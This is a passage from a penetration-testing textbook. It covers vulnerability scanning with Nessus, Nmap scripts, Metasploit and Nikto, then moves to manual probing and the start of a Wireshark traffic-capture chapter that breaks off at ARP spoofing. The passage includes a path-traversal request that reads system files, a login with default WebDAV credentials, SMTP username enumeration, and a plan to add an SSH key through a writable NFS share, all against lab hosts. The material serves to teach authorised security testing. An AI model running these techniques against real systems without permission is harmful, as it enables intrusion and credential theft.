Nessus is available as a paid professional version that pentesters and inhouse security teams can use to scan networks for vulnerabilities. You can use the free, noncommercial version called Nessus Home to try the exercises in this book. Nessus Home is limited to scanning 16 IP addresses.
(Nessus isn’t preinstalled on Kali, but we covered installing it in Chapter 1.)
Before you can run Nessus you need to start the Nessus daemon. To do so, enter the service command as shown here to start the Nessus web interface on TCP port 8834. root@kali:~# service nessusd start

Now open a web browser, and access Nessus by directing the Iceweasel browser to https://kali:8834. (If you want to access the Nessus interface from another system, such as the host, you must replace kali with the IP address of the Kali machine.) After a few minutes of initialization, you should see a login screen, shown in Figure 6-1. Use the login credentials you created in Chapter 1.

Nessus Policies
The Nessus web interface has several tabs at the top of the screen, as shown in Figure 6-2. Let’s start with the Policies tab. Nessus policies are like configuration files that tell Nessus which vulnerability checks, port scanners, and so on to run in the vulnerability scan.

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Figure 6-1: The Nessus web interface login screen

Figure 6-2: Nessus policies

To create a policy, click New Policy at the left of the Nessus interface.
Nessus’s policy wizards will help you create a policy that will be useful for your scanning goals, as shown in Figure 6-3. For our simple example, choose Basic Network Scan.

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Figure 6-3: Nessus policy wizards

Now you are prompted for some basic information about the policy, as shown in Figure 6-4, including a name, a description, and whether other
Nessus users can access the policy. Once you are done, click Next.

Figure 6-4: Basic policy setup

Now you are asked if this is an internal or external scan, as shown in
Figure 6-5. Choose Internal and click Next.
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Figure 6-5: Internal or external scan

If you have credentials, Nessus can authenticate with hosts and look for vulnerabilities that may not be apparent from a network-facing perspective.
This feature is often used by internal security teams to test the security posture of their networks. You can set these credentials in the next step, as shown in Figure 6-6. For now, you can leave this step blank and click Save.

Figure 6-6: Adding credentials (optional)

As shown in Figure 6-7, our new policy is now shown in the Policy tab.

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Figure 6-7: Our policy is added.

Scanning with Nessus
Now, let’s switch to the Scans tab and run Nessus against our target machines. Click ScansNew Scan, and fill in the scan information, as shown in Figure 6-8. Nessus needs to know the name for our scan
(Name), which scan policy to use (Policy), and which systems to scan
(Targets).

Figure 6-8: Starting a Nessus scan

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Nessus runs a series of probes against the target in an attempt to detect or rule out as many issues as possible. The running scan is added to the Scans tab as shown in Figure 6-9.

Figure 6-9: Running a Nessus scan

Once the scan is finished, click it to view the results, as shown in
Figure 6-10.

Figure 6-10: High-level overview of the results

As shown in the figure, Nessus found several critical vulnerabilities on the Windows XP and Ubuntu targets. But it found only informational data on the Windows 7 box.
To see details of a specific host, click it. Details of the Windows XP vulnerabilities are shown in Figure 6-11.

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Figure 6-11: Nessus categorizes and describes its results.

Say what you want about vulnerability scanners, but it’s hard to find a product that can tell you as much about a target environment as quickly and with as little effort as Nessus. For example, Nessus’s results reveal that our Windows XP target is in fact missing the MS08-067 patch discussed in
Chapter 4. It also seems to be missing other Microsoft patches affecting the
SMB server.
Which vulnerability is the most exploitable? The Nessus output for a particular issue will often give you some information about that issue’s potential exploitability. For example, clicking the MS08-067 vulnerability in the output (Figure 6-12) shows exploit code available for this vulnerability in
Metasploit as well as other tools such as Core Impact and Canvas.

Figure 6-12: The MS08-067 Nessus entry provides detailed information.

A Note About Nessus Rankings
Nessus ranks vulnerabilities based on the Common Vulnerability Scoring
System (CVSS), version 2, from the National Institute of Standards and
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Technology (NIST). Ranking is calculated based on the impact to the system if the issue is exploited. Though the higher the vulnerability ranking, the more serious Nessus thinks the vulnerability issue is, the actual risk of a vulnerability depends on the environment. For example, Nessus ranks anonymous FTP access as a medium-risk vulnerability. When restricted to nonsensitive files, however, anonymous FTP access can have a low to nonexistent risk. On the other hand, it isn’t unheard of for companies to leave copies of their proprietary source code lying around on a publicly available
FTP server. If on an external pentesting engagement you can access the client’s biggest asset by logging in as anonymous on an FTP server, it’s safe to assume that any interested attacker can do the same, and this warrants an immediate call to your client contact. Tools are not capable of making this sort of distinction. For that you need a pentester.

Why Use Vulnerability Scanners?
Though some penetration testing courses leave out vulnerability scanning altogether and argue that a skilled pentester can find everything a scanner can, scanners are still valuable tools, especially because many pentests are performed within a shorter time window than anyone might like. But if one of the goals of your assessment is to avoid detection, you might think twice about using a loud vulnerability scanner.
Though Nessus did not find every issue in our environment, its use, combined with the results of our information-gathering phase, has given us a solid starting point for exploitation. Even those pentesters who think that a pentester should replace a scanner during an engagement can benefit from knowing how to use scanning tools. Though in an ideal world, every company would perform regular, no-holds-barred pentests, in reality, there is plenty of vulnerability scanning work to go around.

Exporting Nessus Results
Once a Nessus scan finishes, you can export its findings from the Export button at the top of the scan details screen, as shown in Figure 6-13.

Figure 6-13: Exporting Nessus scan results

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Nessus can output results into PDF, HTML, XML, CSV, and other formats. You may want to hand off the raw results to your client for a vulnerability scanning engagement, but you should never export scanner results, slap your company letterhead on them, and call them pentest results. Much more analysis is involved in a penetration test than a vulnerability scan. You should always verify results from automated scanners and combine them with manual analysis to get a more complete picture of the vulnerabilities in the environment.
Now for a look at some other methods of vulnerability analysis.

Researching Vulnerabilities
If the Nessus summary page doesn’t give you enough information about a vulnerability, try a good old-fashioned Google search. Additionally, try searching http://www.securityfocus.com/, http://www .packetstormsecurity.org/, http://www.exploit-db.org/, and http://www.cve.mitre .org/. For ­ xample, you can e search for vulnerabilities using the Common Vulnerabilities and Exposures
(CVE) system, Microsoft patch number, and so on within a specific site using a Google query such as “ms08-067 site:securityfocus.com”. The MS08-067 vulnerability received a lot of attention, so you’ll find no shortage of good information. (We looked at the details of this particular issue in Chapter 4.)
Depending on your subject vulnerability, you may be able to find proofof-concept exploit code online as well. We’ll look at working with public code in Chapter 19, but be warned that unlike the community-vetted exploits in a project such as Metasploit, not all code on the Internet does what it claims.
The payload in a public exploit may destroy the target machine, or it may join your machine to the exploit author’s secret botnet. Be vigilant when working with public exploits, and carefully vet them before running them against a production network. (You may also be able to find in-depth information about some vulnerabilities posted by the researchers who originally found the issue.)

The Nmap Scripting Engine
Now for another tool that provides vulnerability scanning. Just as Metasploit evolved from an exploitation framework into a fully fledged penetrationtesting suite with hundreds of modules, Nmap has similarly evolved beyond its original goal of port scanning. The Nmap Scripting Engine (NSE) lets you run publicly available scripts and write your own.
You’ll find the scripts packaged with the NSE in Kali at /usr/share/nmap
/scripts. The available scripts fall into several categories, including information gathering, active vulnerability assessment, searches for signs of previous compromises, and so on. Listing 6-1 shows NSE scripts available in your default Kali installation. root@kali:~# cd /usr/share/nmap/scripts root@kali:/usr/local/share/nmap/scripts# ls acarsd-info.nse ip-geolocation-geobytes.nse

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address-info.nse afp-brute.nse afp-ls.nse
--snip--

ip-geolocation-geoplugin.nse ip-geolocation-ipinfodb.nse ip-geolocation-maxmind.nse

Listing 6-1: Nmap scripts list

To get more information about a particular script or category of scripts, enter the --script-help flag in Nmap. For example, to see all scripts in the default category enter nmap --script-help default, as shown in Listing 6-2.
Many factors contribute to whether a script is included in the default cate­ gory, including its reliability and whether the script is safe and unlikely to harm the target. root@kali:~# nmap --script-help default
Starting Nmap 6.40 ( http://nmap.org ) at 2015-07-16 14:43 EDT
--snip-ftp-anon
Categories: default auth safe http://nmap.org/nsedoc/scripts/ftp-anon.html Checks if an FTP server allows anonymous logins.
If anonymous is allowed, gets a directory listing of the root directory and highlights writeable files.
--snip-Listing 6-2: Nmap default scripts help

If you use the -sC flag to tell Nmap to run a script scan in addition to port scanning, it will run all the scripts in the default category, as shown in
Listing 6-3. root@kali:~# nmap -sC 192.168.20.10-12
Starting Nmap 6.40 ( http://nmap.org ) at 2015-12-30 20:21 EST
Nmap scan report for 192.168.20.10
Host is up (0.00038s latency).
Not shown: 988 closed ports
PORT
STATE SERVICE
21/tcp
open ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x 1 ftp ftp
0 Aug 06 2009 incoming
|_-r--r--r-- 1 ftp ftp
187 Aug 06 2009 onefile.html
|_ftp-bounce: bounce working!
25/tcp
open smtp
| smtp-commands: georgia.com, SIZE 100000000, SEND, SOML, SAML, HELP, VRFYu, EXPN, ETRN, XTRN,
|_ This server supports the following commands. HELO MAIL RCPT DATA RSET SEND SOML SAML HELP
NOOP QUIT
79/tcp
open finger
|_finger: Finger online user list request denied.
80/tcp
open http
|_http-methods: No Allow or Public header in OPTIONS response (status code 302)
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| http-title:
XAMPP
1.7.2 v
|_Requested resource was http://192.168.20.10/xampp/splash.php
--snip-3306/tcp open mysql
| mysql-info: MySQL Error detected!
| Error Code was: 1130
|_Host '192.168.20.9' is not allowed to connect to this MySQL server w
--snip-Listing 6-3: Nmap default scripts output

As you can see, the Nmap Scripting Engine found a good deal of interesting information. For example, we see that the SMTP server on port 25 of the Windows XP target allows the use of the VRFY u command, which allows us to see if a username exists on the mail server. If we have a valid username, use of this command will make credential-guessing attacks much more likely to succeed.
We can also see that the web server on port 80 appears to be an XAMPP
1.7.2 install v. As of this writing, the current stable version of XAMPP for
Windows is 1.8.3. At the very least, the version we found is out of date, and it may also be subject to security issues.
In addition to showing us potential vulnerabilities, NSE also allows us to rule out some services. For example, we can see that the MySQL server on port 3306 does not allow us to connect because our IP address is not authorized w. We may want to return to this port during post exploitation if we are able to compromise other hosts in the environment, but for now we can rule out MySQL vulnerabilities on this host.

Running a Single NSE Script
Before we move on, let’s look at another example of using an NSE script, this time one that is not part of the default set. From our basic use of Nmap in the previous chapter, we know that our Linux target is running Network File
System (NFS). NFS allows client computers to access local files over the network, but in your pentesting career, you may find that setting up NFS securely is easier said than done. Many users don’t think about the security consequences of giving remote users access to their files. What’s the worst that can happen, right? Who cares if I share my home directory with my coworkers?
The NSE script nfs-ls.nse will connect to NFS and audit shares. We can see more information about an individual script with the --script-help command, as shown in Listing 6-4. root@kali:~# nmap --script-help nfs-ls
Starting Nmap 6.40 ( http://nmap.org ) at 2015-07-16 14:49 EDT nfs-ls Categories: discovery safe

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http://nmap.org/nsedoc/scripts/nfs-ls.html
Attempts to get useful information about files from NFS exports.
The output is intended to resemble the output of <code>ls</code>.
--snip-Listing 6-4: Nmap NFS-LS script details

This script mounts the remote shares, audits their permissions, and lists the files included in the share. To run a script against our Linux target, we call it using the --script option and the script name, as shown in
Listing 6-5. root@kali:/# nmap --script=nfs-ls 192.168.20.11
Starting Nmap 6.40 ( http://nmap.org ) at 2015-12-28 22:02 EST
Nmap scan report for 192.168.20.11
Host is up (0.00040s latency).
Not shown: 993 closed ports
PORT
STATE SERVICE
VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh
OpenSSH 5.1p1 Debian 3ubuntu1 (Ubuntu Linux; protocol 2.0)
80/tcp open http
Apache httpd 2.2.9 ((Ubuntu) PHP/5.2.6-2ubuntu4.6 with Suhosin-Patch)
111/tcp open rpcbind
2 (RPC #100000)
| nfs-ls:
| Arguments:
|
maxfiles: 10 (file listing output limited)
|
| NFS Export: /export/georgiau
| NFS Access: Read Lookup Modify Extend Delete NoExecute
|
PERMISSION UID GID SIZE MODIFICATION TIME FILENAME
|
drwxr-xr-x 1000 1000 4096 2013-12-28 23:35 /export/georgia
|
-rw------- 1000 1000 117 2013-12-26 03:41 .Xauthority
|
-rw------- 1000 1000 3645 2013-12-28 21:54 .bash_history
|
drwxr-xr-x 1000 1000 4096 2013-10-27 03:11 .cache
|
-rw------- 1000 1000 16
2013-10-27 03:11 .esd_auth
|
drwx------ 1000 1000 4096 2013-10-27 03:11 .gnupg
|
?????????? ?
?
?
?
.gvfs
|
-rw------- 1000 1000 864 2013-12-15 19:03 .recently-used.xbel
|
drwx------ 1000 1000 4096 2013-12-15 23:38 .sshv
--snip-Listing 6-5: Nmap NFS-LS scripts output

As you can see, the NSE script found the NFS share /export/georgia u on our Linux target. Of particular interest is the .ssh directory v, which may include sensitive information such as SSH keys and (if public key authentication is allowed on the SSH server) a list of authorized keys.
When you run into an access-control mistake like this, one common pen­ test trick is to use the mistake and the write permission to add a new SSH

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key to the authorized_keys list (in this case, ours). If that attempt succeeds, suddenly the seemingly minor issue of being able to edit a user’s documents turns into the ability to log in to the remote system and execute commands.
Before we move on, let’s ensure that public key SSH authentication is enabled on our Linux target, allowing the attack we envisioned above to work successfully. Key-based login is considered the strongest form of SSH authentication and is recommended for security. A quick SSH attempt to our Linux target shows that public key authentication is allowed here u
(see Listing 6-6). root@kali:/# ssh 192.168.20.11
The authenticity of host '192.168.20.11 (192.168.20.11)' can't be established.
RSA key fingerprint is ab:d7:b0:df:21:ab:5c:24:8b:92:fe:b2:4f:ef:9c:21.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.20.11' (RSA) to the list of known hosts. root@192.168.20.11's password:
Permission denied (publickeyu,password).
Listing 6-6: SSH authentication methods

Note

Some NSE scripts may crash services or harm the target system, and an entire category is dedicated to denial of service. For example, the script smb-check-vulns will check for the MS08-067 vulnerability and other SMB vulnerabilities. Its help information notes that this script is likely dangerous and shouldn’t be run on production systems unless you are prepared for the server to go down.

Metasploit Scanner Modules
Metasploit, which we used in Chapter 4, also can conduct vulnerability scanning via numerous auxiliary modules. Unlike exploits, these modules will not give us control of the target machine, but they will help us identify vulnerabilities for later exploitation.
One such Metasploit module looks for FTP services that provide anonymous access. Although it may be easy enough to attempt to log in manually to individual FTP servers, Metasploit auxiliary modules let us scan many hosts at once, which will save time when you’re testing a large environment.
To choose a particular module, we use the module, then we define our targets with set, and then scan with the exploit command, as shown in Listing 6-7. This syntax should be familiar from Chapter 4. msf > use scanner/ftp/anonymous msf auxiliary(anonymous) > set RHOSTS 192.168.20.10-11
RHOSTS => 192.168.20.10-11 msf auxiliary(anonymous) > exploit
[*] 192.168.20.10:21 Anonymous READ (220-FileZilla Server version 0.9.32 beta
220-written by Tim Kosse (Tim.Kosse@gmx.de) u
220 Please visit http://sourceforge.net/projects/filezilla/)

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[*]
[*]
[*]
[*]
msf

Scanned 1 of 2 hosts (050%
192.168.20.11:21 Anonymous
Scanned 2 of 2 hosts (100%
Auxiliary module execution auxiliary(anonymous) >

complete)
READ (220 (vsFTPd 2.3.4)) u complete) completed

Listing 6-7: Metasploit anonymous FTP scanner module

At u, we find that both the Windows XP and Linux targets have anonymous FTP enabled. We know this may or may not be a serious issue, based on the files that are available to the anonymous user in the FTP folder.
I’ve been on engagements where company trade secrets were sitting on an
Internet-facing FTP server. On the other hand, I’ve also been on engagements where the use of anonymous FTP was justified from a business perspective, and no sensitive files were present. It is up to a pentester to fill in the information an automated scanner lacks as to the severity of an issue in a particular environment.

Metasploit Exploit Check Functions
Some Metasploit exploits include a check function that connects to a target to see if it is vulnerable, rather than attempting to exploit a vulnerability.
We can use this command as a kind of ad hoc vulnerability scan, as shown in Listing 6-8. (There’s no need to specify a payload when running check because no exploitation will take place.) msf > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set RHOST 192.168.20.10
RHOST => 192.168.20.10 msf exploit(ms08_067_netapi) > checku
[*] Verifying vulnerable status... (path: 0x0000005a)
[+] The target is vulnerable.v msf exploit(ms08_067_netapi) >
Listing 6-8: MS08-067 check function

When we run the vulnerability check u, Metasploit tells us that our
Windows XP target is vulnerable to the MS08-067 vulnerability v, as expected. Unfortunately, not all Metasploit modules have check functions. (If you try running check on a module that doesn’t support it, Metasploit will tell you.) For example, based on the results of our Nmap version scan in the previous chapter, the Windows XP target mail server appears to be out of date and subject to security issues. SLMail version 5.5.0.4433 has a known exploitable issue—CVE-2003-0264—so we can find it easily with a quick search in Msfconsole for cve:2003-0264.

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Once in the context of the module, we can test out check, as shown in
Listing 6-9. msf exploit(seattlelab_pass) > set RHOST 192.168.20.10 rhost => 192.168.20.10 msf exploit(seattlelab_pass) > check
[*] This exploit does not support check. msf exploit(seattlelab_pass) >
Listing 6-9: The SLMail module has no check function.

As it turns out, this exploit module does not implement the check function, so we don’t have solid assurance that a service is vulnerable. Although our SLMail POP3 server appears to be vulnerable based on its banner version number, we can’t get confirmation from Metasploit. In cases like these, we may not be able to know for sure if a vulnerability exists short of running an exploit. Web Application Scanning
Although a client’s custom-built apps may have security problems, your target may also deploy prebuilt web applications such as payroll apps, webmail, and so on, which can be vulnerable to the same issues. If we can find an instance of known vulnerable software, we may be able to exploit it to get a foothold in a remote system.
Web application issues are particularly interesting on many external penetration tests where your attack surface may be limited to little more than web servers. For example, as you can see in Figure 6-14, browsing to the default web page of the web server on our Linux target reveals a default
Apache install page.

Figure 6-14: Default Apache page

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Unless we can find a vulnerability in the underlying web server software, we’ll have a hard time exploiting a simple page that reads “It works!”
Before we write this service off, though, let’s use a web scanner to look for additional pages that we might not see otherwise.

Nikto
Nikto is a web application vulnerability scanner built into Kali that’s like
Nessus for web apps: It looks for issues such as dangerous files, outdated versions, and misconfigurations. To run Nikto against our Linux target, we tell it which host to scan with the -h flag, as shown in Listing 6-10. root@kali:/# nikto -h 192.168.20.11
- Nikto v2.1.5
--------------------------------------------------------------------------+ Target IP:
192.168.20.11
+ Target Hostname:
192.168.20.11
+ Target Port:
80
+ Start Time:
2015-12-28 21:31:38 (GMT-5)
--------------------------------------------------------------------------+ Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.6 with Suhosin-Patch
--snip-+ OSVDB-40478: /tikiwiki/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x. tan.phpinfo()&t=png&title=http://cirt.net/rfiinc.txt?: TikiWiki contains a vulnerability which allows remote attackers to execute arbitrary PHP code. u
+ 6474 items checked: 2 error(s) and 7 item(s) reported on remote host
+ End Time:
2015-12-28 21:32:41 (GMT-5) (63 seconds)
Listing 6-10: Running Nikto

Manually browsing to the default installation path for every application with known vulnerabilities would be a daunting task, but fortunately, Nikto seeks out URLs that may not be apparent. One particularly interesting finding here is a vulnerable installation of the TikiWiki software u on the server.
Sure enough, if we browse to the TikiWiki directory at http://192.168.20.11/ tikiwiki/, we find the CMS software. Nikto thinks that this install is subject to a code execution vulnerability, and further analysis of Open Sourced
Vulnerability Database (OSVDB) entry 40478 reveals that this issue has a
Metasploit exploit that we can use during exploitation.
N o t e OSVDB

(http://osvdb.com/) is a vulnerability repository specifically for open source software such as TikiWiki, with detailed information on a wide variety of products.
Use it to search for additional information about possible issues you find.

Attacking XAMPP
Browsing to our Windows XP web server, we see at http://192.168.20.10/ that the default web page announces itself as XAMPP 1.7.2.
By default, XAMPP installations include phpMyAdmin, a database administration web application. Ideally, phpMyAdmin would not be available
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over the network, or at least it should require credentials to access it. But on this version of XAMPP, the phpMyAdmin install at http://192.168.20.10
/phpmyadmin/ is available and open. Even worse, phpMyAdmin gives us root access on the same MySQL server that NSE told us we are unable to connect to. Using phpMyAdmin (as shown in Figure 6-15), we can bypass this restriction and perform MySQL queries on the server.

Figure 6-15: The open phpMyAdmin console complains quite loudly about the poor configuration. Default Credentials
In addition to its inclusion of phpMyAdmin, a Google search tells us that XAMPP 1.7.3 and earlier come with Web Distributed Authoring and
Versioning (WebDAV) software, which is used to manage files on a web server over HTTP. XAMPP’s WebDAV installation comes with the default username and password wampp:xampp. If these values aren’t changed, anyone with access to WebDAV can log in, deface the website, and even possibly upload scripts that will allow attackers to get a foothold on the system through the web server. And, as you can see in Figure 6-16, WebDAV is indeed present on this server.

Figure 6-16: WebDAV install

We can use the tool Cadaver to interact with WebDAV servers. In
Listing 6-11, we use Cadaver to try to connect to the WebDAV server at http://192.168.20.10 and test the default credential set.
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root@kali:/# cadaver http://192.168.20.10/webdav
Authentication required for XAMPP with WebDAV on server `192.168.20.10':
Username: wampp
Password:
dav:/webdav/> u
Listing 6-11: Using Cadaver

The Cadaver login is successful u. Our Windows XP target uses the default credentials for WebDAV, which we will be able to exploit. Now that we have access to WebDAV, we can upload files to the web server.

Manual Analysis
Sometimes, no solution will work nearly as well as manual vulnerability analysis to see if a service will lead to a compromise, and there’s no better way to improve than practice. In the sections that follow we’ll explore some promising leads from our port and vulnerability scanning.

Exploring a Strange Port
One port that has failed to come up in our automated scans is 3232 on our
Windows target. If you try scanning this port with an Nmap version scan (as we did at the end of Chapter 5), you’ll notice that it crashes. This behavior suggests that the listening program is designed to listen for a particular input and that it has difficulty processing anything else.
This sort of behavior is interesting to pentesters, because programs that crash when handling malformed input aren’t validating input properly.
Recall from Chapter 5 that in the process of crashing the program, the output led us to believe that the software is a web server. Connecting to the port with a browser, as shown in Figure 6-17, confirms this.

Figure 6-17: Web server on port 3232

The web page served doesn’t tell us much, but from here we can connect to the port manually using Netcat. We know this is a web server, so we will talk to it as such. We know we can browse to the default web page, so we can enter GET / HTTP/1.1 to ask the web server for the default page (see
Listing 6-12).

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root@kali:~# nc 192.168.20.10 3232
GET / HTTP/1.1
HTTP/1.1 200 OK
Server: Zervit 0.4 u
X-Powered-By: Carbono
Connection: close
Accept-Ranges: bytes
Content-Type: text/html
Content-Length: 36
<html>
<body> hi </body>
</html>root@bt:~#
Listing 6-12: Connecting to a port with Netcat

The server announces itself as Zervit 0.4 u. It doesn’t look good for the software because the first autocomplete entry in a search for Zervit 0.4 on
Google is “Zervit 0.4 exploit.” This web server software is subject to multiple security issues, including a buffer overflow and a local file inclusion vulnerability, which allows us to serve other files on the system. This service is so sensitive that it may be best to avoid buffer overflow attacks, because one false move will crash it. The local file inclusion, on the other hand, looks promising. We know the server can process HTTP GET requests. For example, we can download Windows XP’s boot.ini file by moving back five directories to the C drive using GET, as shown in Listing 6-13. root@kali:~# nc 192.168.20.10 3232
GET /../../../../../boot.ini HTTP/1.1
HTTP/1.1 200 OK
Server: Zervit 0.4
X-Powered-By: Carbono
Connection: close
Accept-Ranges: bytes
Content-Type: application/octet-stream
Content-Length: 211
[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Home
Edition" /fastdetect /NoExecute=OptIn
Listing 6-13: Local file inclusion in Zervit 0.4

We’re able to pull down boot.ini, a config file that tells Windows which operating system options to display at boot time. We’ll use this local file inclusion to pull down additional sensitive files in Chapter 8.
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Finding Valid Usernames
We can drastically increase our chances of a successful password attack if we know valid usernames for services. (We’ll explore this in more detail in
Chapter 9.) One way to find valid usernames for mail servers is to use the
VRFY SMTP command, if it is available. As the name implies, VRFY verifies if a user exists. NSE found the VRFY verb is enabled on the Windows XP target in the previous chapter. Connect to TCP port 25 using Netcat, and use VRFY to check for usernames, as shown in Listing 6-14. root@kali:~# nc 192.168.20.10 25
220 georgia.com SMTP Server SLmail 5.5.0.4433 Ready ESMTP spoken here
VRFY georgia
250 Georgia<georgia@>
VRFY john
551 User not local
Listing 6-14: Using the SMTP VRFY command

Using VRFY we see that georgia is a valid username, but there is no user called john. We will look at using valid usernames to try to guess passwords in Chapter 9.

Summary
In this chapter, we have touched on various methods to find exploitable vulnerabilities on our targets. Using a variety of tools and techniques, we were able to find myriad ways to go after our targets, including our trusty MS08067 exploit against our Windows XP SMB server and a local file inclusion vulnerability on the Zervit 0.4 web server that will allow us to download system files. Using VRFY, we found a valid username that we can use in password-guessing attacks on the mail server.
We learned that the SLMail server may have a vulnerability in the
POP3 service based on its reported version number (though we were not able to find out for sure), and we found an open phpMyAdmin install on the web server that gives us root access to the underlying database, as well as an XAMPP install with default credentials for WebDAV that will allow us to upload files to the web server. On the Linux target, we found an NFS share with write access that allows us to write to a user’s .ssh directory, and we discovered a not-readily-apparent TikiWiki install on the web server that appears to contain a code execution vulnerability. The Vsftpd 2.3.4
FTP server may have a hidden backdoor due to a compromise of the Vsftpd repositories. At this point in the book we can see that our Windows XP and Linux target machines suffer from a lot of issues. The lack of attack surface on our
Windows 7 target makes it seem pretty safe, but as we will see a bit later, that solid exterior hides a few holes underneath. Before we move on to exploiting these vulnerabilities, the next chapter will look at capturing traffic to gain sensitive information such as login credentials.
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7

Capturing Tr affic

Before we move on to exploitation, we’ll use the
Wireshark monitoring tool, as well as other tools, to sniff and manipulate traffic to gain useful information from other machines on the local network. On an internal penetration test, when we’re simulating an insider threat or an attacker who has breached the perimeter, capturing traffic from other systems in the network can give us additional interesting information (perhaps even usernames and passwords) that can help us with exploitation. The trouble is that capturing traffic can produce a massive amount of potentially useful data. Capturing all traffic on just your home network could quickly fill several Wireshark screens, and discovering which traffic is useful for a pentest can be difficult.
In this chapter, we’ll look at several ways to manipulate a network to get access to traffic we have no business being able to see.

Networking for Capturing Traffic
If you find yourself in a network that uses hubs rather than switches, capturing traffic not intended for your machine will be easy, because when a network hub receives a packet, it rebroadcasts it on all ports, leaving it up to each device to decide whom the packet belongs to. In a hubbed network, capturing other systems’ traffic is as easy as selecting Use promiscuous mode on all interfaces in Wireshark. This tells our Network Interface Controller
(NIC) to grab everything it sees, which in a hubbed network will be every packet. Unlike hubs, switches send traffic only to the intended system, so on a switched network, we won’t be able to view, for example, all the traffic to and from the domain controller without fooling the network into sending us that traffic. Most networks you encounter on pentests will probably be switched networks; even some legacy network hardware that claims to be a hub may have the functionality of a switch.
Virtual networks seem to act like hubs, because all your virtual machines share one physical device. If you capture traffic in promiscuous mode in a virtual network, you may be able to see traffic from every virtual machine as well as the host machine, even if you are using a switch instead of a hub in your environment. To simulate a non-virtualized network, we’ll turn off Use promiscuous mode on all interfaces in Wireshark, which means we will have to work a little harder to capture traffic from our target virtual machines.

Using Wireshark
Wireshark is a graphical network protocol analyzer that lets us take a deep dive into the individual packets moving around the network. Wireshark can be used to capture Ethernet, wireless, Bluetooth, and many other kinds of traffic. It can decode different protocols that it sees, so you could, for instance, reconstruct the audio of Voice over IP (VoIP) phone calls. Let’s take a look at the basics of using Wireshark to capture and analyze traffic.

Capturing Traffic
Let’s start by using Wireshark to capture traffic on our local network.
Start Wireshark in Kali, as shown here. Click through any warnings about using Wireshark as root being dangerous. root@kali:~# wireshark

Tell Wireshark to capture on the local network interface (eth0) by selecting Capture4Options, and selecting the eth0 option, as shown in Figure 7-1.
Remember to uncheck the Use promiscuous mode on all interfaces option so that the results will be like those on a physical switched network rather than the VMware network. Exit the Options menu. Finally, click CaptureStart to begin the traffic capture.

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You should start to see traffic coming in, and you should be able to capture all traffic intended for the Kali machine as well as any broadcast traffic
(traffic sent to the entire network).

Figure 7-1: Starting a Wireshark capture

To illustrate the traffic we can capture in a switched network, let’s start by contacting our Windows XP target from our Kali machine over FTP.
Log in as anonymous, as shown in Listing 7-1, to see the captured traffic in
Wireshark. (In the previous chapter, we discovered that the anonymous user is allowed on the Windows XP target. Although anonymous requires that you enter a password, it doesn’t matter what it is. Traditionally, it is an email address, but the FTP server will accept whatever you would like to use.) root@kali:~# ftp 192.168.20.10
Connected to 192.168.20.10.
220-FileZilla Server version 0.9.32 beta
220-written by Tim Kosse (Tim.Kosse@gmx.de)
220 Please visit http://sourceforge.net/projects/filezilla/
Name (192.168.20.10:root): anonymous
331 Password required for anonymous
Password:
230 Logged on
Remote system type is UNIX. ftp> Listing 7-1: Logging in via FTP
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You should see packets in Wireshark from the system with IP address
192.168.20.9 to 192.168.20.10 and vice versa, with the Protocol field marked as FTP. Wireshark is capturing the traffic moving to and from our Kali machine. Switch over to your Ubuntu Linux target machine, and log in to the
FTP server on the Windows XP target. Looking back at Wireshark in Kali, you should see that no additional FTP packets have been captured. In our simulated switched network, any traffic not destined for our Kali machine will not be seen by the network interface and, thus, will not be captured by
Wireshark. (We’ll learn how to rectify this situation and capture other systems’ traffic in “ARP Cache Poisoning” on page 160.)

Filtering Traffic
The sheer volume of network traffic captured by Wireshark can be a bit overwhelming because, in addition to our FTP traffic, every other packet to or from the Kali system is captured. To find specific interesting packets, we can use Wireshark filters. The Filter field is located at the top left of the Wireshark GUI. As a very simple first Wireshark filtering example, let’s look for all traffic that uses the FTP protocol. Enter ftp in the Filter field and click Apply, as shown in Figure 7-2.

Figure 7-2: Filtering traffic in Wireshark

As expected, Wireshark filters the captured packets to show only those that use the FTP protocol. We can see our entire FTP conversation, including our login information, in plaintext.

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We can use more advanced filters to further fine-tune the packets returned. For example, we can use the filter ip.dst==192.168.20.10 to return only packets with the destination IP address 192.168.20.10. We can even chain filters together, such as using the filter ip.dst==192.168.20.10 and ftp to find only FTP traffic destined for 192.168.20.10.

Following a TCP Stream
Even after filtering traffic, there may be multiple FTP connections captured during the same time frame, so it could still be difficult to tell what’s going on. But once we find an interesting packet, such as the beginning of an FTP login, we can dig deeper into the conversation by right-clicking the packet and selecting Follow TCP Stream, as shown in Figure 7-3.

Figure 7-3: Following the TCP stream in Wireshark

The resulting screen will show us the full contents of our FTP connection, including its credentials in plaintext, as shown in Listing 7-2.
220-FileZilla Server version 0.9.32 beta
220-written by Tim Kosse (Tim.Kosse@gmx.de)
220 Please visit http://sourceforge.net/projects/filezilla/
USER anonymous
331 Password required for anonymous
PASS georgia@bulbsecurity.com
230 Logged on
SYST
215 UNIX emulated by FileZilla
Listing 7-2: FTP login conversation

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Dissecting Packets
By selecting a specific captured packet, we can get more information about the captured data, as shown in Figure 7-4. At the bottom of the Wireshark screen, you can see details of the selected packet. With a little guidance,
Wireshark will break down the data for you. For example, we can easily find the TCP destination port by selecting the TCP entry and looking for
Destination port, as highlighted in the figure. When we select this field, the entry in the raw bytes of the packet is highlighted as well.

Figure 7-4: Packet details in Wireshark

ARP Cache Poisoning
While it is nice to see the details of our own traffic, for pentesting purposes, it would be preferable to see the traffic that wasn’t intended for our Kali system. Perhaps we’ll be able to capture another user’s login session that uses an account other than anonymous to log in; that would give us working credentials for the FTP server, as well as a set of credentials that might be reused elsewhere in the environment.
To capture traffic not intended for the Kali system, we need to find some way to have the relevant data sent to our Kali system. Because the network switch will send only packets that belong to us, we need to trick our target machine or the switch (or ideally both) into believing the traffic belongs to us. We will perform a so-called man-in-the-middle attack, which

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will allow us to redirect and intercept traffic between two systems (other than our own system) before forwarding packets on to the correct destination. One tried-and-true technique for masquerading as another device on the network is called Address Resolution Protocol (ARP) cache poisoning (also known as ARP spoofing).

ARP Basics
